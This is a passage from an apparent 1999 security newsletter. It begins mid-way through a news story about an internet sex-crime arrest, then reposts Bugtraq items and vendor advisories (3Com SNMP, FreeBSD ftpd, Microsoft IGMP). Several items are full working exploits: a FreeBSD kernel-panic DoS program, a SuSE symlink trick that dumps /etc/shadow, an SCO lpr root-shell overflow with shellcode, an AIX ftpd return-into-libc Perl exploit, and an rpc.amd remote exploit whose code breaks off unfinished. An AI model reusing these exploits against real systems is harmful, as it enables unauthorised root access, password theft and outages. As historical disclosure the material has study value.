home overlooking Puget Sound was purchased for $1.2 million.
To most observers, what seems strange is that someone like
Naughton, with so much to lose, could do what the FBI says he
did. But counselors who treat sex offenders aren't surprised at all
by such cases.
"You're asking: How could somebody so smart be so stupid?"
says Michael O'Connell, president of the state chapter of the
Association for the Treatment of Sexual Abusers.
"The working answer is, boy, when you get yourself wrapped up
in this stuff - whether it's alcohol abuse, gambling or sexual
compulsion - you can sometimes lose your way. Being smart may
be protective, but it's by no means a guarantee."
Internet replaces schoolyard
Sex-offender treatment providers and law-enforcement officers
alike say the Internet has made their job much harder.
"Pedophiles don't have to hang around schoolyards with bags of
candy anymore," said Ray Lauer, an FBI agent in Seattle. "They
can just go to an Internet chat room to get what they want."
During the Internet chats, the complaint said, Naughton allegedly
persisted in his requests to meet the girl, though he was repeatedly
asked if he realized he was typing to a 13-year-old and could get
into trouble.
As investigators, Aden said, "We sure make it clear we are
underage, and if they don't want to go forward, that's fine with us.
"Some people do get pangs of conscience and back out. It's good
to see somebody back away. But we still have people - and in
positions of incredible responsibility - who still go ahead."
Seattle Times staff reporters Jack Broom, Helen Jung, Susan
Gilmore, Carol Ostrom and Arthur Santana contributed to
this report.
Copyright � 1999 Seattle Times Company
@HWA
35.0 HAPPY BIRTHDAY TO LINUX
~~~~~~~~~~~~~~~~~~~~~~~
From Help Net Security http://www.net-security.org/
by BHZ, Saturday 18th September 1999 on 5:12 pm CET
Yesterday was 8th anniversary of the initial public release of Linux - version 0.01 -
that occurred on the 17th September 1991. As Linus Torvalds said: "Software is like
sex; it's better when it's free", Linux will remain free for distribution.
@HWA
36.0 3com SNMP bug vulnerabilty
~~~~~~~~~~~~~~~~~~~~~~~~~~
Subject: Re: One more 3Com SNMP vulnerability
To: BUGTRAQ@SECURITYFOCUS.COM
Hi all,
Well spotted. To be more accurate, this bug can be found on
3Com SuperStack II Port Switch Hubs running software version
2.10. The bug disappeared from version 2.12. New software
versions are available at
http://support.3com.com/software/superstack_ii_ps_hub_40_fil
es.htm
Arnaud Bienvenu.
--
Hi,
It seems that 3Com does not pay much atention how its SNMP
is
implemented. In 3Com SuperStack II hubs MIB there's an OID:
.1.3.6.1.4.1.43.10.4.2. Its name decodes to
.iso.org.dod.internet.private.enterprises.a3Com.generic.secu
rity.securityUserTable.
What You need to know that's read-only community and this
OID will give you
entire table of communities (read-write and read-only).
If somebody knows how to contact 3Com with such reports
forward this info
to them. Half an hour exploring 3Com web site i found no
e-mail's (not even
<A HREF="mailto:support@3com.com">support@3com.com</A>).
Amazing...
--
Nerijus Krukauskas Bank of Lithuania
Division head IT department,
Networking division
Tel. +370-2-680731 Zirmunu 151
<A
HREF="mailto:nkrukauskas@lbank.lt">nkrukauskas@lbank.lt</A>
2012 Vilnius, Lithuania
@HWA
37.0 FreeBSD local DoS on network by unpriviledged user using setsockopt()
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Subject: Local DoS on network by unpriviledged user using setsockopt()
To: BUGTRAQ@SECURITYFOCUS.COM
Recently, I mailed this mailing to a number of people who are concerned
with security of various OSes, like FreeBSD, OpenBSD and NetBSD. The
mailing was NOT intended to be made public, but somehow it was. Here is
my original mailing:
--- Forwarded ---
I stumbled across a denial of service attack on FreeBSD systems, where
an unpriviledged user can panic the kernel. Quick and dirty testing
(code attached at the end of this mail) showed OpenBSD is vulnerable
too:
FreeBSD - 3.2-RELEASE: the kernel panics. I haven't had a chance to
test it on older FreeBSD versions.
OpenBSD 2.4 - GENERIC kernel & OpenBSD 2.5-current with NMBSCLUSTERS=8192:
The kernel logs one "/bsd: mb_map full" and all processes trying to send
something over the network get stuck waiting in mbuf. Locally the system
continues to function. Tested by a friend.
NetBSD: Not available, but it is highly probable that the affected code
in OpenBSD is from its parent NetBSD.
As far as I'm concerned, this can be handled quietly and without much
haste. Knowledge of this problem is limited and there is absolutely no
intention of publishing this exploit or messages to Bugtraq.
With kind regards,
Sven Berkvens (sven@ilse.nl)
Long time FreeBSD-system administrator
The source code for the program that causes this:
#include <unistd.h>
#include <sys/socket.h>
#include <fcntl.h>
#define BUFFERSIZE 204800
extern int
main(void)
{
int p[2], i;
char crap[BUFFERSIZE];
while (1)
{
if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
break;
i = BUFFERSIZE;
setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
fcntl(p[0], F_SETFL, O_NONBLOCK);
fcntl(p[1], F_SETFL, O_NONBLOCK);
write(p[0], crap, BUFFERSIZE);
write(p[1], crap, BUFFERSIZE);
}
exit(0);
}
----- End forwarded message -----
@HWA
38.0 BSD:Three ftp daemons in ports vulnerable to attack.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Subject: [security-officer@FreeBSD.ORG: FreeBSD Security Advisory:
FreeBSD-SA-99:03.ftpd REISSUED]
To: BUGTRAQ@SECURITYFOCUS.COM
[security-officer@FreeBSD.ORG 2.ems Content-Type: text/plain; charset=us-ascii
*** PGP Signature Status: unknown
*** Signer: Unknown, Key ID xBE7497F1
*** Signed: 9/15/99 11:30:30 PM
*** Verified: 9/17/99 1:04:54 PM
*** BEGIN PGP VERIFIED MESSAGE ***
----- Forwarded message from FreeBSD Security Officer <security-officer@FreeBSD.ORG> -----
Delivered-To: freebsd-announce@freebsd.org
Date: Wed, 15 Sep 1999 21:46:28 -0600 (MDT)
From: FreeBSD Security Officer <security-officer@FreeBSD.ORG>
Subject: FreeBSD Security Advisory: FreeBSD-SA-99:03.ftpd REISSUED
Reply-To: security-officer@FreeBSD.ORG
X-Loop: FreeBSD.org
Precedence: bulk
To: undisclosed-recipients: ;
-----BEGIN PGP SIGNED MESSAGE-----
=============================================================================
FreeBSD-SA-99:03 Security Advisory
FreeBSD, Inc.
Topic: Three ftp daemons in ports vulnerable to attack.
Category: ports
Module: wu-ftpd and proftpd
Announced: 1999-09-05
Reissued: 1999-09-15
Affects: FreeBSD 3.2 (and earlier)
FreeBSD-current and -stable before the correction date.
Corrected: FreeBSD-3.3 RELEASE
FreeBSD as of 1999/08/30 for wuftpd only
(Note: there is only one ports tree which is shared with
all FreeBSD branches, so if you are running a -stable
version of FreeBSD you will also be impacted.)
FreeBSD only: NO
Bugtraq Id: proftpd: 612
Patches: NONE
I. Background
wuftpd, beroftpd and proftpd are all optional portions of the system
designed to replace the stock ftpd on a FreeBSD system. They are
written and maintained by third parties and are included in the
FreeBSD ports collection.
II. Problem Description
There are different security problems which can lead to remote root
access in these ports or packages.
The standard ftp daemon which ships with FreeBSD is not impacted by
either of these problems.
III. Impact
Remote users can gain root.
IV. Workaround
Disable the ftp daemon until you can upgrade your system, or use the
stock ftpd that comes with FreeBSD.
V. Solution
Upgrade your wu-ftpd port to the version in the cvs repository after
August 30, 1999. If you are not using the wu-ftpd port, then you
should visit their web site and follow instructions there to patch
your existing version.
beroftpd, which was listed in the original wu-ftpd group's advisory as
having a similar problem, has not been corrected as of September 15,
1999. It will not be in the 3.3 release. The port has been marked
forbidden and will remain so until the security problems have been
corrected. If you are running beroftpd you are encouraged to find if
patches are available for it which corrects these problems before
enabling it on your system.
proftpd, which had different security problems, has not been updated
to a safe version as of September 15, 1999. It will not be in the 3.3
release. It will not be in the 3.3 release. The port has been marked
forbidden and will remain so until the security problems have been
corrected. If you are running proftpd, you are encouraged to find out
if there are patches which correct these problems before reenabling it
on your system.
The previous advisory suggested that any FreeBSD ports version of
proftpd after August 30 had the security problems corrected. This has
proven to not be the case and was the primary reason for reissuing
this advisory. While reissuing the advisory, we added beroftpd since
it shares a code history with wu-ftpd. The original advisory
mistakenly asserted that proftpd also shared a code history with
wuftpd, which is not the case.
VI. Credits and Pointers
The wu-ftpd advisory can be found at
ftp://ftp.wu-ftpd.org/pub/wu-ftpd/2.5.0.Security.Update.asc
=============================================================================
FreeBSD, Inc.
Web Site: http://www.freebsd.org/
Confidential contacts: security-officer@freebsd.org
Security notifications: security-notifications@freebsd.org
Security public discussion: freebsd-security@freebsd.org
PGP Key: ftp://ftp.freebsd.org/pub/FreeBSD/CERT/public_key.asc
Notice: Any patches in this document may not apply cleanly due to
modifications caused by digital signature or mailer software.
Please reference the URL listed at the top of this document
for original copies of all patches if necessary.
=============================================================================
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: noconv
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface
iQCVAwUBN+BmhFUuHi5z0oilAQFlOAQAiU3kAPurRruiFGfG33OsM3ni86HFpKPZ
Hb9pINkP9Fu8qdKD/JKYYSxCLRhJLoqojSHXXpVvhJUOQx+1RVaiVCVNvZhV0ypx
0M/+VEg1IpusbxkTRbNFE6cUrMwAiHvbZepYp41slTiA2MwDV7cqX1yvv1InGU1z
HSfQSOB/Kfs=
=NPAs
-----END PGP SIGNATURE-----
This is the moderated mailing list freebsd-announce.
The list contains announcements of new FreeBSD capabilities,
important events and project milestones.
See also the FreeBSD Web pages at http://www.freebsd.org
To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-announce" in the body of the message
----- End forwarded message -----
--
Patrick Oonk - PO1-6BONE - patrick@pine.nl - www.pine.nl/~patrick
Pine Internet B.V. PGP key ID BE7497F1
Tel: +31-70-3111010 - Fax: +31-70-3111011 - http://www.pine.nl/
-- Pine Security Digest - http://security.pine.nl/ (Dutch) ----
Excuse of the day: The computer fletely, mouse and all.
*** END PGP VERIFIED MESSAGE ***
@HWA
39.0 Two SuSE 6.2 local root exploits
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Subject: Two SuSE 6.2 local root exploits
To: BUGTRAQ@SECURITYFOCUS.COM
Greetings,
/usr/bin/pb and /usr/bin/pg, suid root by default on SuSE 6.2, allow
any user to read any file on the system as shown:
susebox:/root # ls -la /usr/bin/pb
uname -rwsr-xr-x 1 root root 23544 Jul 22 20:07 /usr/bin/pb
susebox:/root # strace /usr/bin/pb
...
personality(PER_LINUX) = 0
getpid() = 16623
brk(0) = 0x805032c
brk(0x80504cc) = 0x80504cc
brk(0x8051000) = 0x8051000
open("pb.conf", O_RDONLY) <-- trouble? = -1 ENOENT (No such file or
directory)
write(2, "pb.conf fopen: No such file or d"..., 41pb.conf fopen: No such
file or directory
) = 41
_exit(1) = ?
susebox:/root #
---
xnec@susebox:/tmp > id
uid=1001(xnec) gid=100(users) groups=100(users)
xnec@susebox:/tmp > ln -s /etc/shadow ./pb.conf
xnec@susebox:/tmp > pb
Unknown config line : <root:nfpzNvX19GwRg:10850:0:10000::::> =
<bin:*:8902:0:10000::::>
Unknown config line : <daemon:*:8902:0:10000::::> =
<lp:*:9473:0:10000::::>
Unknown config line : <news:*:8902:0:10000::::> = <uucp:*:0:0:10000::::>
Unknown config line : <games:*:0:0:10000::::> = <man:*:8902:0:10000::::>
... etc for the entire shadow file
The same scenario for /usr/bin/pg's pg.conf in your cwd. These two
programs also contain numerous buffer overflows and other insecure file
i/o and should obviously lose their suid bits. They cannot operate
correctly without their s-bits unless they are run by root, but no one
besides root will run them anyway. These programs are not worth
patching.
Brock Tellier
UNIX Systems Administrator
Webley Systems
www.webley.com
@HWA
40.0 Microsoft Security Bulletin (MS99-034)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Subject: Microsoft Security Bulletin (MS99-034)
To: BUGTRAQ@SECURITYFOCUS.COM
The following is a Security Bulletin from the Microsoft Product Security
Notification Service.
Please do not reply to this message, as it was sent from an unattended
mailbox.
********************************
Microsoft Security Bulletin (MS99-034)
--------------------------------------
Patch Available for "Fragmented IGMP Packet" Vulnerability
Originally Posted: September 03, 1999
Summary
=======
Microsoft has released a patch that eliminates a vulnerability in the TCP/IP
stack implementations of Microsoft(r) Windows(r) 95, Windows 98 and Windows
NT(r) 4.0. Fragmented IGMP packets can cause a variety of problems in
Windows 95 and 98, up to and including causing the machine to crash.
Windows NT 4.0 contains the same vulnerability, but other system mechanisms
make a successful attack much more difficult.
Frequently asked questions regarding this vulnerability can be found at
http://www.microsoft.com/security/bulletins/MS99-034faq.asp
Issue
=====
By sending fragmented IGMP packets to a Windows 95, 98 or Windows NT 4.0
machine, it is possible to disrupt the normal operation of the machine.
This vulnerability primarily affects Windows 95 and 98 machines. Depending
on a variety of factors, sending such packets to a Windows 95 or 98 machine
may elicit behavior ranging from slow performance to crashing.
Windows NT contains the same vulnerability, but other system mechanisms
compensate and make it much more difficult to mount a successful attack.
Affected Software Versions
==========================
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows 98 Second Edition
- Microsoft Windows NT Workstation 4.0
- Microsoft Windows NT Server 4.0
- Microsoft Windows NT Server 4.0, Enterprise Edition
- Microsoft Windows NT Server 4.0, Terminal Server Edition
Patch Availability
==================
- Windows 95:
This patch will be available shortly
- Windows 98:
http://www.microsoft.com/windows98/downloads/corporate.asp
- Windows NT Workstation 4.0; Windows NT Server 4.0;
Windows NT Server, Enterprise Edition:
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa
/NT40/hotfixes-postSP5/IGMP-fix/
- Windows NT Server 4.0, Terminal Server Edition:
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa
/NT40TSE/hotfixes-postSP5/IGMP-fix/
NOTE: Line breaks have been inserted into the above URLs for readability.
NOTE: The Windows 95 and 98 patches also will be available via
WindowsUpdate (http://www.microsoft.com/windowsupdate) circa
September 9, 1999.
More Information
================
Please see the following references for more information related to this
issue.
- Microsoft Security Bulletin MS99-034: Frequently Asked Questions,
http://www.microsoft.com/security/bulletins/MS99-034faq.asp.
- Microsoft Knowledge Base (KB) article Q238329,
Fragmented IGMP Packets may Promote Denial of Service,
http://support.microsoft.com/support/kb/articles/q238/3/29.asp.
(Note: It may take 24 hours from the original posting of this
bulletin for the KB article to be visible.)
- Microsoft Security Advisor web site,
http://www.microsoft.com/security/default.asp.
Obtaining Support on this Issue
===============================
This is a fully supported patch. Information on contacting Microsoft
Technical Support is available at
http://support.microsoft.com/support/contact/default.asp.
Revisions
=========
- September 03, 1999: Bulletin Created.
----------------------------------------------------------------------
THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS PROVIDED "AS IS"
WITHOUT WARRANTY OF ANY KIND. MICROSOFT DISCLAIMS ALL WARRANTIES, EITHER
EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES OF MERCHANTABILITY AND FITNESS
FOR A PARTICULAR PURPOSE. IN NO EVENT SHALL MICROSOFT CORPORATION OR ITS
SUPPLIERS BE LIABLE FOR ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT,
INCIDENTAL, CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES,
EVEN IF MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES. SOME STATES DO NOT ALLOW THE EXCLUSION OR
LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES SO THE
FOREGOING LIMITATION MAY NOT APPLY.
(c) 1999 Microsoft Corporation. All rights reserved. Terms of Use.
*******************************************************************
You have received this e-mail bulletin as a result of your registration
to the Microsoft Product Security Notification Service. You may
unsubscribe from this e-mail notification service at any time by sending
an e-mail to MICROSOFT_SECURITY-SIGNOFF-REQUEST@ANNOUNCE.MICROSOFT.COM
The subject line and message body are not used in processing the request,
and can be anything you like.
For more information on the Microsoft Security Notification Service
please visit http://www.microsoft.com/security/services/bulletin.asp. For
security-related information about Microsoft products, please visit the
Microsoft Security Advisor web site at http://www.microsoft.com/security.
@HWA
41.0 SCO 5.0.5 lpr local root exploit
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Subject: SCO 5.0.5 lpr local root exploit
To: BUGTRAQ@SECURITYFOCUS.COM
Greetings,
There is a hole in SCO 5.0.5, probably 5.0.x, /usr/bin/lpr. Or more
accurately, /usr/lpd/remote/lp, which lpr execs and passes your command
line args on to. This means that while /usr/bin/lpr is sgid lp, we'll
still get a rootshell because /usr/lpd/remote/lp is suid root/sgid
daemon. I haven't looked into the remote angle of this exploit, though
the pathname is hardly encouraging.
FIX: I would recommend a recursive directory sbit-search-and-destroy if
you're running SCO..
-Brock
--- cut ---
/*
* sco_lpr.c - overflows /usr/remote/lpd/lp and gives rootshell
* Tested on SCO 5.0.5+Skunkware98
*
* Compile gcc -o sco_lpr sco_lpr.c
* sco_lpr <offset> <bufsiz>
*
* -Brock Tellier btellier@webley.com
*/
#include <stdlib.h>
#include <stdio.h>
char scoshell[]= /* doble@iname.com */
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";
#define LEN 3000
#define NOP 0x90
unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[]) {
long int offset=0;
int i;
int buflen = LEN;
long int addr;
char buf[LEN];
if(argc > 3) {
fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
exit(0);
}
else if (argc == 2){
offset=atoi(argv[1]);
}
else if (argc == 3) {
buflen=atoi(argv[2]);
}
else {
offset=1800;
buflen=1500;
}
addr=get_sp();
fprintf(stderr, "SCO 5.0.5 lpr exploit\n");
fprintf(stderr, "Brock Tellier btellier@webley.com\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);
memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
for(i=((buflen/2) + strlen(scoshell))+1;i<buflen-4;i+=4)
*(int *)&buf[i]=addr+offset;
execl("/usr/bin/lpr", "lpr", "-o", buf, NULL);
exit(0);
}
--- cut ---
Brock Tellier
UNIX Systems Administrator
Webley Systems
www.webley.com
@HWA
42.0 Remote bufferoverflow exploit for ftpd from AIX 4.3.2 running on an RS6000
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#!/usr/bin/perl
# *** Synnergy Networks
# * Description:
#
# Remote bufferoverflow exploit for ftpd from AIX 4.3.2 running on an
# RS6000. (power)
# This is an return into libc exploit specificly crafted for
# one box and it is very unlikely to work on another box
# * Author:
#
# dvorak (dvorak@synnergy.net)
# Synnergy Networks (c) 1999, http://www.synnergy.net
# * Greets:
#
# Synnergy Networks, Hit2000 crew, Emphyrio, shevek
# * Comments:
#
# A full working exploit will be released later on.
# The addresses point to positions in the program or libraries,
# only the relevant instructions are shown also note that b r0
# is in fact something like mfsbr r0, bsbr or what that is in
# RS6000 assembly.
#
# The final call is to system which needs the following arguments:
# r3 = address of command to execute
# r2 = TOC (what is TOC anyway), I don't know if it does matter but
# we set it anyway (we can so why not do it)
# r1 = SP but this is ok already,
# the rest is free so it seems.
#
# Our route:
# 0x10010150: sets r2 to a place in the buffer and jumps to 0x10015228
# 0x10015228: loads r12 with a value from our buffera
# loads r0 with the next address to jump to (0x1001038c)
# and sets r2 to another place in our buffer
# 0x1001038c: sets r3 to a place in the buffer (finally!)
# sets r0 to next address to jump to (0xd00406d4, system(...))
#
# The flow with registers is thus:
# r2 = 0x14(r1)
# r12 = 0x110(r2)
# r0 = 0x0(r12)
# r2 = 0x4(r12)
# r3 = 0x40(r1)
# r12 = 0x3c(r2)
# 0x14(r1) = r12 this is the plave where TOC is stored but it doesn't seem
# to matter
# r0 = 0x0(12)
# r2 = 0x04(r12)
# and of we go...
#
# We set:
# $buf = the buffer on the stack $buf[0] is the first byte in the buffer
# but we will count offsets from 4 (the first 4 bytes is just "CEL " is
# doesn't matter, only the space does (it makes sure the rest of the buffer)
# stays the way it is and isn't converted into lower case
#
# Offsets:
# 0x000: 0x1001038c
# 0x004: buf[0]
# 0x008: this is the place where the address of the systemcall is taken from
# 0xd00406d4 in our case# 0x00c: thi is the address where r2 is loaded
# from just before the call to
# system(..) we set it to the TOC in our program we don't know if it
# matters and if the TOC is constant between hosts
# 0x03c: buf[08]
# 0x110: buf[0]
# 0x204: return address (0x10010150)
# 0x210: buf[0]
# 0x23c: buf[0x240]
# 0x240: "/tmp/sh" or whatever command you want to execute
# r1 points to buf[0x1fc]
#
# I assume the positions in the libraries/program are fixed and that TOC
# either doesn't matter or is fixed to please enlighten me on these topics.
#
# 0x10010150:
# l r2, 0x14(r1)
# b 0x10015228
# 0x10015228:
# l r12, 0x110(r2)
# st r12, 0x14(r1)
# l r0, 0x0(r12)
# l r2, 0x4(r12)
# b r0
# 0x1001038c:
# l r3, 0x40(r1)
# b 0x100136f8
# 0x100136f8:
# l r12, 0x3c(r2)
# st r12, 0x14(r1)
# l r0, 0x0(r12)
# l r2, 0x04(r12)
# *** Synnergy Networks
$bufstart = 0x2ff22724; # this is our first guess
$nop = "\xde\xad\xca\xfe";
$buf = "CEL ";
$buf .= "\x10\x01\x03\x8c"; # 0 address of second piece of
# 'borrowed' code
$buf .= pack ("N", $bufstart); # 4
$buf .= "\xd0\x04\x06\xd4"; # 8 system call..
$buf .= "\xf0\x14\x63\x5c"; # c TOC
$offset = 0x10;
while ($offset < 0x3c) {
$offset += 4;
$buf .= $nop;
}
$buf .= pack ("N", $bufstart + 0x008);
$offset += 4;
while ($offset < 0x110) {
$offset += 4;
$buf .= $nop;
}
$buf .= pack ("N", $bufstart);
$offset += 4;
while ($offset < 0x204) {
$offset += 4;
$buf .= $nop;
}
$buf .= "\x10\x01\x01\x50";
$offset += 4;
while ($offset < 0x210) {
$offset += 4;
$buf .= $nop;
}
$buf .= pack ("N", $bufstart);
$offset += 4;
while ($offset < 0x23c) {
$offset += 4;
$buf .= $nop;
}
$buf .= pack ("N", $bufstart + 0x240);
$offset += 4;
while ($offset < 0x240) {
$offset += 4;
$buf .= $nop;
}
# this is the command that will be run through system
$buf .= "/tmp/sh";
$buf .= "\n";
# offcourse you should change this .
# open F, "| nc -v -v -n 192.168.2.12 21";
open F, "| od -tx1";
printf F $buf;
close F;
# EOF
@HWA
43.0 SDI AMD remote exploit for RH linux
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Subject: SDI AMD remote exploit for RH linux
To: BUGTRAQ@SECURITYFOCUS.COM
Here is the exploit for the AMD vulnerability. You may choose to send the
information via UDP or TCP, or even to bypasse the portmap by specifing
the automount port.
------------------------------------
/*
* SDI rpc.AMD automountd remote exploit for RedHat Linux
* Sekure SDI - Brazilian Information Security Team
* by c0nd0r <condor@sekure.org> - Jul/99
*
* AMD doesn't check bounds in the plog() function, so we may
* call the procedure 7 and exploit this vulnerability.
* It has been tested under rh5.2/5.0 but this vulnerability exists in
* all versions.
*
* Greets: jamez, bishop, bahamas, stderr, dumped, paranoia, marty(nordo),
* vader, fcon, slide, corb, soft distortion and specially to
* my sasazita! Also lots of thanks to toxyn.org(frawd,r00t),
* pulhas.org, phibernet, superbofh(seti) and el8.org (duke).
* #uground (brasnet), #sdi(efnet), #(phibernet).
*
* usage: SDIamd -h <host> -c <command> [-p <port>] [-o <offset>]
* where -p <port> will bypass the portmap.
*
* Warning: We take no responsability for the consequences on using this
* tool. DO NOT USE FOR ILICIT ACTIVITIES!
*
* Agradecimentos a todo o pessoal que vem acompanhando a lista brasileira
* de seguranca - BOS-BR <bos-br-request@sekure.org>. Fiquem ligado na
* nova pagina do grupo!
*/
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#define AMQ_PROGRAM ((u_long)300019)
#define AMQ_VERSION ((u_long)1)
#define AMQPROC_MOUNT ((u_long)7)
#define AMQ_STRLEN 1024
#define XDRPROC_T_TYPE xdrproc_t
#define voidp void *
#define NOP 0x90
char shellcode[] =
"\xeb\x31\x5e\x89\x76\xac\x8d\x5e\x08\x89\x5e\xb0"
"\x8d\x5e\x0b\x89\x5e\xb4\x31\xc0\x88\x46\x07\x88"
"\x46\x0a\x88\x46\xab\x89\x46\xb8\xb0\x0b\x89\xf3"
"\x8d\x4e\xac\x8d\x56\xb8\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xe8\xca\xff\xff\xff/bin/sh -c ";
//typedef bool_t (*xdrproc_t) __P ((XDR *, __ptr_t, ...));
typedef char *amq_string;
typedef long *time_type;
typedef struct amq_mount_tree amq_mount_tree;
typedef amq_mount_tree *amq_mount_tree_p;
struct amq_mount_tree {
amq_string mt_mountinfo;
amq_string mt_directory;
amq_string mt_mountpoint;
amq_string mt_type;
time_type mt_mounttime;
u_short mt_mountuid;
int mt_getattr;
int mt_lookup;
int mt_readdir;
int mt_readlink;
int mt_statfs;
struct amq_mount_tree *mt_next;
struct amq_mount_tree *mt_child;
};
bool_t
xdr_amq_string(XDR *xdrs, amq_string *objp)
{
if (!xdr_string(xdrs, objp, AMQ_STRLEN)) {
return (FALSE);
}
return (TRUE);
}
bool_t
xdr_time_type(XDR *xdrs, time_type *objp)
{
if (!xdr_long(xdrs, (long *) objp)) {
return (FALSE);
}
return (TRUE);
}
bool_t
xdr_amq_mount_tree(XDR *xdrs, amq_mount_tree *objp)
{
if (!xdr_amq_string(xdrs, &objp->mt_mountinfo)) {
return (FALSE);
}
if (!xdr_amq_string(xdrs, &objp->mt_directory)) {
return (FALSE);
}
if (!xdr_amq_string(xdrs, &objp->mt_mountpoint)) {
return (FALSE);
}
if (!xdr_amq_string(xdrs, &objp->mt_type)) {
return (FALSE);
}
if (!xdr_time_type(xdrs, &objp->mt_mounttime)) {
return (FALSE);
}
if (!xdr_u_short(xdrs, &objp->mt_mountuid)) {
return (FALSE);
}
if (!xdr_int(xdrs, &objp->mt_getattr)) {
return (FALSE);
}
if (!xdr_int(xdrs, &objp->mt_lookup)) {
return (FALSE);
}
if (!xdr_int(xdrs, &objp->mt_readdir)) {
return (FALSE);
}
if (!xdr_int(xdrs, &objp->mt_readlink)) {
return (FALSE);
}
if (!xdr_int(xdrs, &objp->mt_statfs)) {
return (FALSE);
}
if (!xdr_pointer(xdrs, (char **) &objp->mt_next, sizeof(amq_mount_tree), (XDRPROC_T_TYPE) xdr_amq_mount_tree)) {
return (FALSE);
}
if (!xdr_pointer(xdrs, (char **) &objp->mt_child, sizeof(amq_mount_tree), (XDRPROC_T_TYPE) xdr_amq_mount_tree)) {
return (FALSE);
}
return (TRUE);
}
bool_t
xdr_amq_mount_tree_p(XDR *xdrs, amq_mount_tree_p *objp)
{
if (!xdr_pointer(xdrs, (char **) objp, sizeof(amq_mount_tree), (XDRPROC_T_TYPE) xdr_amq_mount_tree)) {
return (FALSE);
}
return (TRUE);
}
int usage ( char *arg) {
printf ( "Sekure SDI - AMD remote exploit for linux\n");
printf ( "usage: %s -h <host> -c <command> [-o <offset>] [-p <port>] [-u] \n", arg);
printf ( " where: [port] will bypass portmap\n");
printf ( " [-u ] will use udp instead of tcp\n");
exit (0);
}
int *amqproc_mount_1(voidp argp, CLIENT *clnt);
int main ( int argc, char *argv[] ) {
CLIENT *cl;
struct timeval tv;
struct sockaddr_in sa;
struct hostent *he;
char buf[8000], *path = buf, comm[200], *host, *cc;
int sd, res, x, y, offset=0, c, port=0, damn=0, udp=0;
long addr = 0xbffff505;
while ((c = getopt(argc, argv, "h:p:c:o:u")) != -1)
switch (c) {
case 'h':
host = optarg;
break;
case 'p':
port = atoi(optarg);
break;
case 'c':
cc = optarg;
break;
case 'o':
offset = atoi ( optarg);
break;
case 'u':
udp = 1;
break;
default:
damn = 1;
break;
}
if (!host || !cc || damn) usage ( argv[0]);
sa.sin_family = AF_INET;
he = gethostbyname ( host);
if (!he) {
if ( (sa.sin_addr.s_addr = inet_addr ( host)) == INADDR_NONE) {
printf ( "unknown host, try again pal!\n");
exit ( 0);
}
} else
bcopy ( he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length);
sa.sin_port = htons(port);
sd = RPC_ANYSOCK;
tv.tv_sec = 10;
tv.tv_usec = 0;
snprintf ( comm, sizeof(comm), "%s", cc);
if ( strlen(comm) >= 160) {
printf ( "command too long\n");
exit (0);
} else {
comm[strlen(comm)] = ';';
for ( x = strlen(comm); x < 160; x++)
comm[x] = 'A';
}
addr += offset;
for ( x = 0; x < (1001-(strlen(shellcode)+strlen(comm))); x++)
buf[x] = NOP;
for ( y = 0; y < strlen(shellcode); x++, y++)
buf[x] = shellcode[y];
for ( y = 0; y < strlen(comm); x++, y++)
buf[x] = comm[y];
printf ( "SDI automountd remote exploit for linux\n");
printf ( "Host %s \nRET 0x%x \nOFFset %d \n", host, addr, offset);
for ( ; x < 1020; x+=4) {
buf[x ] = (addr & 0x000000ff);
buf[x+1] = (addr & 0x0000ff00) >> 8;
buf[x+2] = (addr & 0x00ff0000) >> 16;
buf[x+3] = (addr & 0xff000000) >> 24;
}
buf[strlen(buf)] = '\0';
if (!udp) {
if ((cl = clnttcp_create(&sa, AMQ_PROGRAM, AMQ_VERSION, &sd, 0, 0)) ==
NULL)
{
clnt_pcreateerror("clnt_create");
exit (-1);
}
} else {
if ((cl = clntudp_create(&sa, AMQ_PROGRAM, AMQ_VERSION, tv, &sd)) ==
NULL)
{
clnt_pcreateerror("clnt_create");
exit (-1);
}
}
printf ( "PORT %d \n", ntohs(sa.sin_port));
